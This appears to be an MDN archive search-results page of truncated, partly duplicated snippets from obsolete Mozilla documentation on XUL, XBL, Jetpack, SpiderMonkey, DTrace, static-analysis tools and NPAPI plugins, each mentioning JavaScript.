at function run a second (1,000 milliseconds) after startup and a minute (60,000 milliseconds) after each invocation. This allows users to get relatively frequent updates about tinderbox without overloading the tinderbox server or slowing down Mozilla with requests. Our code is now ready to run, but Mozilla doesn't know about it yet. To enable its functionality, we have to add a reference to our
JavaScript code into navigator.xul, just as we put a reference to our CSS code into that file back in Specifying the appearance. Put the
JavaScript code into a file called tinderstatus.js in the same directory as navigator.xul and reference it in navigator.xul where other
JavaScript scripts are referenced: ... <!-- Navigator --> <script type="application/
javascript" src="chrome://navigator/content/b...
...t a reference to our CSS code into that file back in Specifying the appearance. Put the
JavaScript code into a file called tinderstatus.js in the same directory as navigator.xul and reference it in navigator.xul where other
JavaScript scripts are referenced: ... <!-- Navigator --> <script type="application/
javascript" src="chrome://navigator/content/browser.js"/> <script type="application/
javascript" src="chrome://navigator/content/navigator.js"/> <script type="application/
javascript" src="chrome://navigator/content/navigatorDD.js"/> <script type="application/
javascript" src="chrome://navigator/content/sessionHistoryUI.js"/> <script type="application/
javascript" src="chrome://navigator/content/tinderstatus.js"/> <!-- hook for stringbundle overlays --> ... With th...
Creating a Microsummary - Archive of obsolete content
include> </pages> </generator> If you're unfamiliar with regular expressions, see Creating regular expressions for a microsummary generator for a tutorial on writing them. Making the Generator Available for Download Now that the generator applies to the Spread Firefox home page, the only thing left to do is to make it downloadable. To do so, we need to put it up on the web and then create a
JavaScript link on some web page that calls Firefox's window.sidebar.addMicrosummaryGenerator() method to download and install the generator. For example, if we put the generator file on the web at http://people.mozilla.com/~myk/micro...-generator.xml, and we wanted users to be able to install it from http://people.mozilla.com/~myk/micro...ial/index.html, we might add the following code to the index.html p...
...We might do so via the following code: <script> const warning = "Sorry, you need a microsummary-enabled browser like Firefox 2.0 to install and use microsummary generat...
DTrace - Archive of obsolete content
e-dtrace (on Mac OS X you also have to use at least the 10.5 SDK for --with-macos-sdk, unlike the common configuration that uses the 10.4 SDK). Trunk nightly builds with shark support (*-mac-shark.dmg here) are built with --enable-dtrace. Documentation Writing Scripts A general introduction to writing D scripts and using the built-in Mozilla probes. Optimizing
JavaScript with DTrace A guide on profiling
JavaScript code using DTrace. Adding Probes A guide on creating probes and the build system magic needed to add probes to your code. Pounce on DTrace A guide to using DTrace on Mac OS X 10.5. DTrace for Web Developers How to use DTrace to profile your web application. View All... Community DTrace ...
... your code. ...
Dehydra - Archive of obsolete content
f gcc. Try DXR instead, or else try the gcc python plugin: https://fedorahosted.org/gcc-python-plugin/. Dehydra was a lightweight, scriptable, general purpose static analysis tool capable of application-specific analyses of C++ code. In the simplest sense, Dehydra could be thought of as a semantic grep tool. It presented a wealth of semantic information that can be queried with concise
JavaScripts. It was also useful to find bugs in source code as it allows for much more error checking than C++ is capable of by itself. Dehydra was built as a GCC plugin, thus it is easy to use for projects that already support GCC. Dehydra is also useful for generating language bindings and is used to bootstrap Treehydra, a heavy-duty static analysis GCC plugin. Documentation I...
...nd is used to bootstrap Treehydra, a heavy-duty static analysis GCC plugin. Documentation Installing Dehydra Download, installation and dependency info for Dehydra Using Dehydra Examples for getting started writing analysis scripts. Dehydra Function Reference Callback and utility functions for Dehydra scripts. Dehydra Object Reference
Javascript objects and properties provided by Dehydra. Dehydra FAQ Answers to common questions Static Analyses Analyses being worked on for Mozilla 2 TODO Steps to Dehydra 1.0 release Community View Dehydra Forums... Mailing list Newsgroup RSS feed #static on irc.mozilla.org Blogs Taras...
Embedding FAQ - Archive of obsolete content
Then pass the object to your XPCOM coded object and call it from C++. You can find a better quality answer repeated and with an example in this newsgroup thread. ...
...Then pass the object to your XPCOM coded object and call it from C++. You can find a better quality answer repeated and with an example in this newsgroup thread. ...
Simple Storage - Archive of obsolete content
longer under active development. Read the experiment report for what we learned from it and the blog post announcing the first SDK release for what we're up to next! The jetpack.storage.simple namespace provides an easy way to persist data across browser restarts. It's a simple key-based persistent object data store. Simple storage is really simple. jetpack.storage.simple is a single, persistent
JavaScript object private to each jetpack. For the most part this object is like any other
JavaScript object, and a jetpack can set whatever properties it wants on it. To manipulate its persistent data, a jetpack therefore need only use the various standard
JavaScript functions and operators. The jetpack.simple.storage object is automatically and periodically flushed to disk. How and when it is flushed is a...
...They could have simply used jetpack.storage.simple directly. Here's a complete real-world example. It's a simple note-taking jetpack. Select some text on the page, right-click, and select Note. The text will be remembered across browser restarts as a note. All notes are shown in the Tools menu. You can install this example from the Jetpack Gallery. jetpack.future.import("menu");jetpack.fu...
Simple Storage - Archive of obsolete content
The jetpack.storage.simple namespace provides an easy way to persist data across browser restarts. It's a simple key-based persistent object data store. Simple storage is really simple. jetpack.storage.simple is a single, persistent
JavaScript object private to each jetpack. For the most part this object is like any other
JavaScript object, and a jetpack can set whatever properties it wants on it. To manipulate its persistent data, a jetpack therefore need only use the various standard
JavaScript functions and operators. The jetpack.simple.storage object is automatically and periodically flushed to disk. How and when it is flushed is an implementation detail. Jetpacks can flush it manually, however, by calling jetpack.storage.simple.sync(). The object can also be forced to reload its data fr...
...They could have simply used jetpack.storage.simple directly. Here's a complete real-world example. It's a simple note-taking jetpack. Select some text on the page, right-click, and select Note. The text will be remembered across browser restarts as a note. All notes are shown in the Tools menu. You can install this example from the Jetpack Gallery. jetpack.future.import("menu"); jetpack.f...
Metro browser chrome tests - Archive of obsolete content
Running the metro browser chrome tests To run Mochitest, first build Mozilla with your changes; then run ./mach mochitest-metro This will launch metro browser chrome tests in the default immersive browser. ...
...Running the metro browser chrome tests To run Mochitest, first build Mozilla with your changes; then run ./mach mochitest-metro This will launch metro browser chrome tests in the default immersive browser. ...
Mozilla Application Framework - Archive of obsolete content
he framework and connect it with other components. Web Services Built-in support for XMLHttpRequest, XML-RPC, SOAP, and WSDL to enable Mozilla-based application authors to take advantage of the exploding world of web services. XPInstall Our cross-platform installer for trivial packaging and installation of your Mozilla framework applications. and much much more... Tools Venkman A
JavaScript debugger with support for breakpoints, conditional breakpoints, local variable inspection, watch variables, single step, stop on error, profile data collection, report generation, code reformatting (pretty printing), and more. DOM Inspector A tool for inspecting and editing the structure and widgets of your user interface while your application is running. XULMaker A GUI builder current...
...alone desktop applications like Komodo, apps that run on top of the Mozilla application suite like mozblog, and web applications like the Mozilla Amazon Browser. Mozilla has been ported to more than a dozen platforms including Windows (95, 98, NT, 2000, XP, CE), Mac OS X, Linux, Solaris, BeOS, OpenVMS, OS/2, AIX, and HP-UX. You can build simple but powerful Mozilla-based applications using just
JavaScript and XUL. Original Document Information Author(s): Myk Melez Last Updated Date: March 3, 2003 Copyright Information: Portions of this content are (C) 1998-2007 by individual mozilla.org contributors; content available under a Creative Commons license | Details. ...
PyDOM - Archive of obsolete content
Globals and namespaces This is taken from a mail to the pyxpcom list - it should be expanded, but a copy-paste will do for now Normal module semantics don't exist here. The globals are 'bound' to the global object (i.e., the window), instead of to a module's __dict__ as you expect in the Python world. Note that we don't actually 'import' anything here - the scripts and event handlers do not exist in a Python module. The intent is to provide similar semantics to JS. ...
...d (b) in all cases (e.g., event handler and top-level script), the DOM node needs to be explicitly specified - the globals are the window itself. The event handler could also have used getElementById - the point is that both the event handler and top-level script share the same namespace. Using Python Ideally, you just tell Mozilla you are using Python, and magically you can use Python instead of
JavaScript. Once you set the script type for a node, it is the default for that node and all children. This means that if you set the script-type to Python for the window, Python is the default script type for all child elements in the window. XUL Use a script-type attribute on your elements. For example, <window script-type="application/x-python" .../> HTML <meta http-equiv="Content-Script-Type" content=...
RDF Datasource How-To - Archive of obsolete content
This document is a cookbook that describes how to create a native, client-side datasource that works with Mozilla's RDF implementation. It supersedes (and borrows from) the original document put together by Robert Churchill. ...
...t is used to build content from the graph. Starting with the resource that corresponds to the tree element, http://foo.bar.com/, the graph will be traversed and content will be constructed using the pattern specified within the template tags. For a complete description of how content is built from RDF, see the XUL:Template Guide. 1 As of this writing, it is not currently possible to implement
JavaScript XPCOM components; however, it may soon be possible to do so via XPConnect. Update:
JavaScript XPCOM should now be possible. Contact: Chris Waterson (waterson@netscape.com) Original Document Information Author(s): Chris Waterson Last Updated Date: June 19, 2000 Copyright Information: Copyright (C) Chris Waterson ...
File object - Archive of obsolete content
Warning: This section describes the File component of the SpiderMonkey
JavaScript interpreter. File is non-standard, not generally compiled into distributions, is a potential source of huge security holes, and not well tested. Getting Started In order to use the File object from your
JavaScript programs, you must enable it by setting the make variable JS_HAS_FILE_OBJECT during the compilation of your Spidermonkey engine. If you are building a standalone version of Spidermonkey (see: SpiderMonkey Build Documentation), this variable can be added on the make command line, like so: cd mozilla/js/src make -f Makefile.ref JS_HAS_FILE_OBJECT=1 Alternatively, if you are building a larger product (such as a browser) and want to include the File object, you may need to perform minor Makefile s...
...le = new File("myfile.txt"); file.open("write,create", "text"); file.writeln("The quick brown fox jumped over the lazy dogs"); file.close(); Example: Reading from a file var data; var file = new File("myfile.txt"); file.open("read", "text"); data = file.readln(); file.close(); Example: Sending mail through a pipeline var mail = new File("|/usr/lib/sendmail foo@bar.com"); mail.writeln("I love
JavaScript.\nPipe support is especially good!"); mail.close(); ...
Table Layout Regression Tests - Archive of obsolete content
++WEBSHELL == 1 ++DOMWINDOW == 1 ++WEBSHELL == 2 ++DOMWINDOW == 2 Note: styleverifytree is disabled Note: frameverifytree is disabled Note: verifyreflow is disabled ++WEBSHELL == 3 ++DOMWINDOW == 3 Running baseline test for E:\moz_src\mozilla\layout\html\tests\block\rtest.lst. Writing regression data to E:\moz_src\mozilla\layout\html\tests\block\base\baseline\width-fixe...
...html\tests\block\base\baseline\pre1_html.rgd The second verify run creates first the frame dumps in the verify subdirectories (verify) and compares each frame dump with the corresponding reference frame dump. If they differ in critical points the test fails. A typical part of the verify log would look like: Type Manifest File: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat +++
JavaScript debugging hooks installed. ++WEBSHELL == 1 ++DOMWINDOW == 1 ++WEBSHELL == 2 ++DOMWINDOW == 2 Note: styleverifytree is disabled Note: frameverifytree is disabled Note: verifyreflow is disabled ++WEBSHELL == 3 ++DOMWINDOW == 3 Running verify test for E:\moz_src\mozilla\layout\html\tests\block\rtest.lst. Writing regression data to E:\moz_src\mozilla\layout\html\tests\table\core\verify\standards1.rgd...
Tamarin - Archive of obsolete content
Tamarin is available under the MPL/GPL/LGPL tri-license. Releases Release Tracking Information on current, past, and upcoming releases of Tamarin. Documentation Adobe ActionScript Virtual Machine 2 (AVM2) Overview (PDF, 400K) The instructions, architecture, and file format supported by the AVM2. See also the possible errata. ...
...he changes, and what can be done to adapt source code to the changes. ...
Treehydra Manual - Archive of obsolete content
Introduction Treehydra is meant to be used for analyses that need more detail than Dehydra's flattened ASTs. Instead of representing code in "easy" form like Dehydra, Treehydra relies on GIMPLE, the GCC Internals "middle-end" intermediate representation. Treehydra simply reflects the GCC Internals structures into
JavaScript. For now, the best way to learn GIMPLE is to look at existing code as there is little newbie documentation to be had. Callbacks and GCC Intermediate Representations Like Dehydra, Treehydra sends program representations to the user
JavaScript via callbacks. There are 3 Treehydra callbacks. Note that the callbacks interact with other Treehydra options. To make things easier, we will first present recipes for accessing specific GCC intermediate representations. Treehydra pro...
..._FUNCTION(fn)) { // fn has a body print(fn); let cfg = function_decl_cfg(fn); } } GIMPLE Reference For a detailed description of GIMPLE see gcc/tree.def and gcc/cp/operators.def See also treehydra.js, gcc_compat.js, gcc_util.js, and gcc_print.js in the Treehydra libs directory, which have many ports of GCC macros and other functions for conveniently accessing GIMPLE data in
JavaScript. ESP Abstract Interpretation Library Treehydra includes a library for creating abstract interpretation analyses based on ESP. Users only need to define their ESP property variables, abstract values, and the flow semantics of GIMPLE statements, and the library will do all of the substate tracking and fixed-point solving. The library is at unstable/esp.js. There is a sample application that checks...
Venkman Internals - Archive of obsolete content
Venkman Information. Notes on Venkman source code. As with any complex application, aspects of the design may not be clear for new readers of the source. These notes are written by such readers: as you learn please correct any errors. Questions Why can't breakpoints be set on some source lines some of the time? Sometimes the source has small ticks in the margin for every executable line in my
JavaScript. Sometimes these ticks are missing on some or all lines of a file. Only lines with tick marks seem to break point properly. Venkman asks the JS engine which lines are executable. It will mark these with a "tick" as you call it. If the file is not currently loaded, the JS engine doesn't know anything about the file. You can still set breakpoints, but they will be future breakpoints, which will b...
...ated() method which binds them to a ScriptManager. There is one ScriptManager per url (web page). This method is set into jsdIScriptHook.onScriptCreated venkman-views.js Views are the panels shown within the venkman window. For example, the "Open Windows" view shows the browser's windows. venkman-records.js A "record" seems to be data underlying a view. For example, FrameRecord represents a
JavaScript stack frame. venkman-msg.js Localization code, reads venkman.properties from a subdirectory of "locale" and injects variables. Things like msg.alert define variables MSG_ALERT. venkman-utils.js Defines the dd debug dump and friends WindowRecord Representation of the open windows. FileContainerRecord - List of script tags found in the parent record's window.document property. To obtain...
Writing textual data - Archive of obsolete content
.createInstance(Components.interfaces.nsIConverterOutputStream); // This assumes that fos is the nsIOutputStream you want to write to os.init(fos, charset, 0, 0x0000); os.writeString("Umlaute: \u00FC \u00E4\n"); os.writeString("Hebrew: \u05D0 \u05D1\n"); // etc. os.close(); You can also write character arrays using the write function, although using writeString is simpler from
JavaScript code. The example above passes 0 as the third argument, which disables buffering (Note: the implementation of the converter stream might not support buffering). Passing 0 ensures that data will be immediately written to the underlying stream; however, for better perfomance you should pass a value like 4096 instead. Unsupported characters You can specify what should happen with characters that ...
... also specify any unicode character U+ABCD directly as 0xABCD. Note: If the replacement character is not a supported character in the chosen character encoding, attempts to write unsupported characters will fail with NS_ERROR_LOSS_OF_SIGNIFICANT_DATA. Versions before Gecko 1.8 Firefox 1.0.x, Mozilla 1.7.x and older versions do not support nsIConverterOutputStream. Alternative ways usable from
JavaScript do not support character encodings that use embedded nulls (such as UTF-16 and UTF-32). They work by manually converting the string you want to write to a byte sequence using nsIScriptableUnicodeConverter, and writing that to the stream. Here's an example: // First, get and initialize the converter var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"] ...
Example Sticky Notes - Archive of obsolete content
This way you protect yourselve from < and > signs breaking your XML layout. It also speeds up the parsing as the engine doesn't go through CDATA sections but simply skip on them. --> <constructor><![CDATA[ /** * The code below will be called one time only after * the binding is successfully prepared and bound. * "this" in this context refers to th...
... The code below will be called one time only before * binding is unbound. You cannot cancel this event, * but you may accomplish some last minute clean up. * "this" in this context refers to the bound element. */ // your code goes here ]]></destructor> <field name="priority"><![CDATA[ /** * New "real" property for the bound element. * Within this block the content is interpreted * as
JavaScript code. The result of this code * evaluation (if any) will be used as initial value. */ "normal"; ]]></field> <property name="innerText"> <!-- New "virtual" property for the bound element. Unlike <field> these are really two functions (getter and setter). Within the virtual properties you cannot set or get the named property itself. Say an attempt to assign this.innerText='something' ...
loadResources - Archive of obsolete content
loadResources Loads a properties file. Method of Install object Syntax Object loadResources( String xpiPath ); Parameters The sole input parameter for loadResources is a string representing the path to the properties file in the XPI in which the key/value pairs are defined. Returns A
JavaScript object whose property names are the keys from that file and whose values are the strings. Description The format of the properties file expected by loadResources is the same as that of the chrome locale .properties files. This method is used to internationalize installation scripts by allowing the installer to retrieve localized string values from a separate file. Be aware that the parameter specifies the file within the XPI and not on the file system, as the following example demonstrates. Example G...
...alize installation scripts by allowing the installer to retrieve localized string values from a separate file. ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
ating XUL interfaces, using DOM and other APIs. It explains the concept of DOM documents, demonstrates a few simple examples of using DOM calls to perform basic manipulations on a document, and then demonstrates working with anonymous XBL content using Mozilla-specific methods. It is written for beginner to intermediate XUL developers. We assume that the reader has basic knowledge of both XUL and
JavaScript. ...
...So what are the Document Object Model APIs? They are the interfaces that are used in any interaction of a script and a document. If you have ever written a script that interacts with a XUL (or HTML) document, you have already used DOM calls. ...
How to implement a custom XUL query processor component - Archive of obsolete content
detailed information on using XUL templates. XUL provides template query processors for RDF, XML and SQL (mozStorage). The templating system also supports building custom query processors. Custom query processors are XPCOM components, must implement the nsIXULTemplateQueryProcessor interface and follow some conventions for when registering the component. In this example, we will create a simple
JavaScript XPCOM component. The component will hold a small array of
JavaScript objects as its datasource. In practice, you would use your own custom source of data. Here is an example of what our XUL might look like when using a custom query processor: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.
... not really using the datasources in our sample component, so we set it to a dummy value. An empty string would be ok too. The querytype is important. It is used to create an instance of our XPCOM object. The contract id of our XPCOM component should be of the form "@mozilla.org/xul/xul-query-processor;1?name=xxx", where the xxx is the querytype used in the XUL template block. ...
Index - Archive of obsolete content
des template query processors for RDF, XML and SQL (mozStorage). The templating system also supports building custom query processors. Custom query processors are XPCOM components, must implement the nsIXULTemplateQueryProcessor interface and follow some conventions for when registering the component. 436 Index Found 1218 pages: 437 International characters in XUL
JavaScript Firefox, Gecko, Guide, Internationalization,
JavaScript, Mozilla, XPCOM, XUL Gecko 1.8, as used in Firefox 1.5 and other applications, added support for non-ASCII characters in
JavaScript files loaded from XUL files. 438 Introduction to XUL Guide, XUL Mozilla has configurable, downloadable chrome, meaning that the arrangement and even presence or absence of controls...
... applications can modify the way command line parameters are handled by writing a component that implements the nsICommandLineHandler interface and registering it in a category. 891 Notes No summary! 892 Sorting and filtering a custom tree view This is example code for sorting and filtering a custom tree view, that is, a tree whose values are loaded via
JavaScript. This will not work for other types of trees, for example RDF-backed or ones created with DOM methods. 893 Style classes XUL Reference, XUL_Style_classes No summary! 894 alert-icon XUL Reference, XUL_Style_classes No summary! 895 chromeclass-toolbar XUL Reference, XUL_Style_classes No summary! 896 error-icon XUL Referen...
appendNotification - Archive of obsolete content
styling might still need additional CSS in order to work as you might expect. value - value used to identify the notification image - URL of image to appear on the notification. If "" then an icon appropriate for the priority level is used. priority - notification priority; see Priority Levels. buttons - array of button descriptions to appear on the notification. eventCallback Optional - a
JavaScript function to call to notify you of interesting things that happen with the notification box. See Notification box events. Priority Levels (defined as properties of notificationbox) : PRIORITY_INFO_LOW PRIORITY_INFO_MEDIUM PRIORITY_INFO_HIGH PRIORITY_WARNING_LOW PRIORITY_WARNING_MEDIUM PRIORITY_WARNING_HIGH PRIORITY_CRITICAL_LOW PRIORITY_CRITICAL_MEDIUM PRIORITY_CRITICAL_HIGH PRIOR...
... only one default button. If no button has this set, the first button in the array is the default. type - a string. Valid values are "menu-button" and "menu" which must be set if the button is to provide a popup via the popup property. Notification box events Requires Gecko 9.0(Firefox 9.0 / Thunderbird 9.0 / SeaMonkey 2.6) If you specify the eventCallback parameter, it should be a
JavaScript function that gets called when interesting things happen related to the notification box. This function receives as its only parameter a string indicating what event occurred. At this time, there's just one event type: "removed". This indicates that the notification box has been removed from its window. Example: function testNotificationBoxWithButtons() { //Create some common variables if t...
Sorting and filtering a custom tree view - Archive of obsolete content
This will not work for other types of trees, for example RDF-backed or ones created with DOM methods. For the sake of simplicity, strings are not localized and the data loaded is hard coded. Because of bug 340478, this code will only work from privileged script. ...
...calized and the data loaded is hard coded. Because of bug 340478, this code will only work from privileged script. ...
Adding Methods to XBL-defined Elements - Archive of obsolete content
hod. For example, if the method had three parameters, there would be three parameter elements. You do not need to have any though, in which case the method would take no parameters. The body element contains the script that is executed when the method is called. The names of the parameters are defined as variables in the script as if they had been passed as parameters. ...
...ecause otherwise it would look like the start of a tag. You can also use a CDATA section to escape the entire block of code. You can call the method by using code such as element.getMaximum(5, 10) where element is a reference to an element defined by the XBL containing the getMaximum method. (The bound element.) The parameter tag allows you to define parameters for a method. Because Mozilla uses
JavaScript as its scripting language, and
JavaScript is a non-typed language, you do not need to specify the types of the parameters. However, in the future, other languages may be used with XBL. Methods are only available to call after the page is rendered, which may cause problems if using createElement. For example, the following code will probably fail: var element = document.createElement("my_element...
Creating a Window - Archive of obsolete content
window as opposed to a new window, but this is often sufficient during the early stages of development. Note: The local XUL document can be opened in the browser as mentioned above only if |dom.allow_XUL_XBL_for_file| preference in "about:config" has been set to |true| . If it does not exist, then it needs to be created and set to |true|. The correct way, of course, is to open the window using
JavaScript. No new syntax is necessary as you can use the window.open() function as one can do for HTML documents. However, one additional flag, called 'chrome' is necessary to indicate to the browser that this is a chrome document to open. This will open the window without the toolbars and menus and so forth that a normal browser window has. The syntax is described below: window.open(url,windowname,flags)...
... has. The syntax is described below: window.open(url,windowname,flags); where the flags contains the flag "chrome" as in this example window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300"); If you are using Firefox, try below: window.open("chrome://browser/content/places/places.xul", "bmarks", "chrome,width=600,height=300"); You can test lines of
JavaScript like these in the Error Console. Choose Tools - Error Console, type a line of
JavaScript, and press the Evaluate button, or the Return or Enter key. The findfile.xul example Let's begin by creating the basic file for the find file dialog. Create a file called findfile.xul and put it in the content directory specified in the findfile.manifest file (we've created in the previous section). Add the...
Manifest Files - Archive of obsolete content
a direct file path is used instead. This is good for development since you don't have to package up all the files every time you change them. However, when distributing an application or extension, you will want to package them into an archive to avoid having to install lots of smaller files. The xpcnativewrappers=yes part at the end of the manifest line is a flag that may optionally be used. In
JavaScript, it is possible for a web page to override built-in functions with their own code. If the xpcnativewrappers flag is specified, it indicates that scripts running in a privileged context don't call these overridden versions, but the original built-in versions instead. Otherwise, if an extension attempted to call the modified versions, it would likely not work properly, or worse, create a security h...
...iles with a ZIP utility. Firefox's extension manager handles installing extensions packaged into XPI files automatically. It is recommended to upload extensions to the Mozilla Add-ons site, where users can locate them for installation. While they may be installed from any site, other sites are not configured to allow installations by default. It is also possible to use a install script written in
JavaScript to install files. This allows you to copy files to any location and perform other file management tasks. However, applications installed with a script will not be listed in the extension manager and there is no automated method to uninstall them. For this reason, the install scripts are not used often. For standalone applications, they can be packaged up using XULRunner. This allows a separate ex...
Using Visual Studio as your XUL IDE - Archive of obsolete content
rom mozilla.doslash.org/xblschema. Grab the XSD version and add it in the same way, you added the XUL schema. To combine both, you can also add your own XBL elements to the XUL schema to get autocompletion-support and validation for those in your XUL files. Mihailo posted some instructions in this Codeplex discussion. 4. Visual Assist and file extensions Since version 10.5, Visual Assist supports
Javascript and XML. As it does not work out of the box with unknown file extensions (like .xul, .xbl and .jsm), you have to do some registry tricks, so that VA knows how to treat these file types. All VA options can be found at: HKEY_CURRENT_USER\Software\Whole Tomato\Visual Assist X\ Find the folder that represents your Visual Studio version ((VANet8, VANet9, etc.) and add your extensions to the corresp...
...is not recognized"). As VS doesn't know how the chrome protocol works it can't detect where the dtd file is really located and thus will give you errors wherever you use the entities that are declared in this file. 5.2 Text preprocessor The Mozilla Build System includes a Text preprocessor. As preprocessor directives are not valid XML, Visual Studio will mark them as errors in your XUL files. 5.3
Javascript related You will get validation errors for
Javascript code whenever using the keywords "const" and "let". These keywords are Mozilla-specific at the moment. VS just supports ECMAScript 3rd Edition and thus doesn't know these keywords. ...
XUL Coding Style Guidelines - Archive of obsolete content
To make XUL files easy to read and maintain, localization friendly, and portable across user agents, we need to have a set of coding style guidelines to ensure our objectives are achievable. ...
...f the guidelines are recommended practices, the others are mandatory. XML, XUL, HTML, and XHTML guidelines The following are considered good coding style for XML/XUL documents. Disobeying them might not cause any parsing error for now, however, it might cause future maintenance headache: convert HTML files to XUL files. use the XML declaration. use Namespace. case sensitivity. use chrome URLs.
JavaScript code shall be moved out of XUL. DTD declaration. predefined Entities. Other guidelines mentioned in XHTML 1.1 Recommendation. See details here. Making XUL localizable -- mandatory In the past, UI (display) related resource descriptions are stored in *.rc (for Windows client) or *.ad (for UNIX client) so that they can be localized for a specific language or culture. In the new world, Mozilla 5.0...
prefpane - Archive of obsolete content
ve the prefpane elements, but instead below them. Otherwise the dialog will show erratic behavior and not display correctly. Place the <script> tags as in the following example for preference dialogs to work correctly: <prefwindow> <prefpane id="paneGeneral" label="General"> ... </prefpane> <prefpane id="paneSecurity" label="Security"> ... ...
...erratic behavior and not display correctly. Place the <script> tags as in the following example for preference dialogs to work correctly: <prefwindow> <prefpane id="paneGeneral" label="General"> ... </prefpane> <prefpane id="paneSecurity" label="Security"> ... ...
Windows and menus in XULRunner - Archive of obsolete content
CSS is used to apply formatting to elements, just as it would in HTML. The DTD is used to create entity references so strings for titles and labels are not stored directly in the XUL file; this makes updating the text -- and localization of the application -- much easier. The window title is done this way in the above example. Also notice the <script> element which is used to include the window's
JavaScript into the XUL file. Keeping CSS, DTD and
Javascript out of the XUL file is considered a best practice. When you launch your XUL application, you'll notice that XULRunner gives your windows a default icon (top left corner on Windows). You'll most likely want to specify your own icons. You can learn how to do it in the article Window icons. Menus and toolbars Most desktop applications are complex...
...edo();"/> </menupopup> </menu> </menubar> <toolbar id="main-toolbar"> <toolbarbutton id="open" label="&file.open;" oncommand="doFileOpen();"/> <toolbarbutton id="save" label="&file.save;" oncommand="doFileSave();"/> </toolbar> </toolbox> ... </window> Notice that I used entity-references for the menu and toolbar labels. The oncommand event is hooked up to
JavaScript, just like an onclick in HTML. The
JavaScript is contained in the main.js file. XUL has a way to centralize commands and event handlers for menus and toolbars that do the same thing, like open and save in the above example. You can add a <commandset> and <command> elements like this: <commandset> <command id="cmd_open" label="&file.open;" oncommand="doFileOpen();"/> <command id="cmd_save" la...
2006-11-17 - Archive of obsolete content
Alex Vincent ran into some difficulty with XULRunner Extension manager not recognizing XULWidgets for Verbosio? However he found out that it was a result of his flat-chrome version of XUL Widgets and works fine with the jarred-chrome version. ...
... Alex Vincent ran into some difficulty with XULRunner Extension manager not recognizing XULWidgets for Verbosio? However he found out that it was a result of his flat-chrome version of XUL Widgets and works fine with the jarred-chrome version. ...
2006-18-24 - Archive of obsolete content
Please see mozilla.dev.platform FAQ for solution. Meetings No meetings this week ...
...Please see mozilla.dev.platform FAQ for solution. Meetings No meetings this week ...
JS-Engine FAQ - Archive of obsolete content
ser which makes it available to script in the browser using XPConnect. An alternative would be to use built-in E4X. Newly created threads in JS from MOZILLA_1_8_BRANCH causes to hang in Windows Patch from bug 351602 should fix the problem. After applying that patch, recompile JS and define JS_USE_ONLY_NSPR_LOCKS in the build. Spidermonkey library loading mechanism? To write wrappers in pure
JavaScript to interface with any C library on the system there are mechanisms such as xpcshell, wxjs, jsdb, JSNI Coding Spidermonkey in C check out this tutorial How to compile Tamarin on Linux/x86 There is a patch that allows you to compile it. Rhino What is the performance between Rhino JS and native Java Rhino JS is significantly slower in run-time than native Java. Even when Rhino is pre-compiled...
...en Rhino JS and native Java Rhino JS is significantly slower in run-time than native Java. Even when Rhino is pre-compiled with high optimization, it still is no match for a compiled Java program. How to determine Rhino version programatically? You can call getImplementationVersion() on a Context instance and it gives you a string, e.g. <tt>Rhino 1.6 release 2 2005 09 19</tt>. How to compile
JavaScript into Java Invoking compiler: java org.mozilla.
javascript.tools.jsc.Main [options] file1.js [file2.js...] This results in a class file. Compiler options can be vied here. Non-js-engine questions Can I call functions in Mozilla extensions from web page? No, accessing anything in the web page's script may lead to security problems. See XPCNativeWrapper. ...
External resources for plugin creation - Archive of obsolete content
oss-platform Browser Plugin Framework written in C++. Plugins created with FireBreath work on all major browsers, including Firefox 3.0 and later. Platforms supported include Windows, Linux, and Mac OS X (intel). Feature highlights include thread safety checks, Unicode support (with std::wstring), ActiveX support, built-in drawing model negotiation for Mac, automatic type conversion (including
Javascript Arrays and Objects), advanced security features, and more. Supported development environments are Visual Studio on windows, XCode on mac, and GCC on linux. All platforms rely on CMake for easy cross-platform builds. Project: Nixysa Project Home Page Description (from the home page): Nixysa is a framework written in Python to automatically generate glue code for NPAPI plugins (plugins for browser...
...ent environments are Visual Studio on windows, XCode on mac, and GCC on linux. All platforms rely on CMake for easy cross-platform builds. Project: Nixysa Project Home Page Description (from the home page): Nixysa is a framework written in Python to automatically generate glue code for NPAPI plugins (plugins for browsers such as Google Chrome or Firefox), letting you easily expose C++ classes to
Javascript from a simple IDL representation. Nixysa was originally conceived for the needs of O3D, but is flexible enough to support a wide range of use cases. Project: JUCE Project Home Page Description (from the home page): JUCE (Jules' Utility Class Extensions) is an all-encompassing C++ class library for developing cross-platform applications. It contains pretty much everything you're likely to need to...
NPN_SetValue - Archive of obsolete content
the variable. variable Values the function can set: NPPVpluginWindowBool: Sets windowed/windowless mode for plugin display; true=windowed, false=windowless NPPVpluginTransparentBool: Sets transparent mode for display of a plugin; true=transparent, false=opaque NPPVjavaClass NPPVpluginWindowSize NPPVpluginTimerInterval NPPVpluginScriptableInstance NPPVpluginScriptableIID NPPV
javascriptPushCallerBool: Specifies whether you are pushing or popping the JSContext off the stack NPPVpluginKeepLibraryInMemory: Tells browser that the plugin dll should live longer than usual NPPVpluginNeedsXEmbed NPPVpluginScriptableNPObject NPPVformValue NPPVpluginDrawingModel value The value of the specified variable to be set. Returns If successful, the function should return N...
...and FALSE as the value parameter. By default, plugins are windowed. NPPVpluginTransparentBool (Windows and Unix) specifies that a plugin is either opaque or transparent. To specify an opaque mode, the plugin calls NPN_SetValue with NPPVpluginTransparentBool for the variable parameter and FALSE for the value parameter. To specify a transparent mode, the value parameter should be set to TRUE. NPPV
javascriptPushCallerBool sets whether you are pushing or popping the appropriate JSContext off the stack (see the two-way scriptability article on the Mozilla Plugins project page for more details). NPPVpluginKeepLibraryInMemory specifies that the plugin does not want to be unloaded from memory after the page which initiated it has gone. Normally, when the browser navigates away from the page containing th...
Introduction to Public-Key Cryptography - Archive of obsolete content
shrink-wrapped software. Most importantly, object signing helps users and network administrators implement decisions about software distributed over intranets or the Internet-for example, whether to allow Java applets signed by a given entity to use specific computer capabilities on specific users' machines. The "objects" signed with object signing technology can be applets or other Java code,
JavaScript scripts, plug-ins, or any kind of file. The "signature" is a digital signature. Signed objects and their signatures are typically stored in a special file called a JAR file. Software developers and others who wish to sign files using object-signing technology must first obtain an object-signing certificate. Types of Certificates Common types of certificates include the following: Client SSL...
